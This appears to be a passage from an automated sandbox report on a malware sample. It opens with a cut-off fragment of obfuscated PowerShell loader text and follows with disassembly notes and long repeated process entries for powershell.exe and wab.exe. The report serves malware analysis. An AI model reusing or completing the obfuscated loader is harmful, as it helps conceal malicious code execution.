',lyve$Ek,orgMiswrlTherioPlenubFedtiaLfterlTexti: temKFiskerIsocyeOvergm ubee Parar KicheDyna tOpspa= SvigNSvin,efibe,w Port-KrakeO urtzbhypopjGa,eke Unvocprfert Bulb sl,ghSDiscoy errasShanktErhere Ma gmSmert.DubioNHaworePrototSliv.. rojWFeneseKv,enb ,uriCMyreulStudei PrsteBssemnBogomtBeby ');decoupled (Banuyo17 'Arbej$JenirKStjerrbegiteBarsemHaandeudsidrMrke.e Fordtjunki.lensaHNovemeDiakoaSam	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FF886E40952 push E95B7BD0h; ret	3_2_00007FF886E409C9
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_07B70638 push eax; mov dword ptr [esp], ecx	9_2_07B70AC4
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 12_2_02EF8039 pushfd ; retn 0027h	12_2_02EF803A
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 12_2_02EF0CB5 push edi; ret	12_2_02EF0CC2
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 12_2_02EF0C93 push edi; retf	12_2_02EF0C3A

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
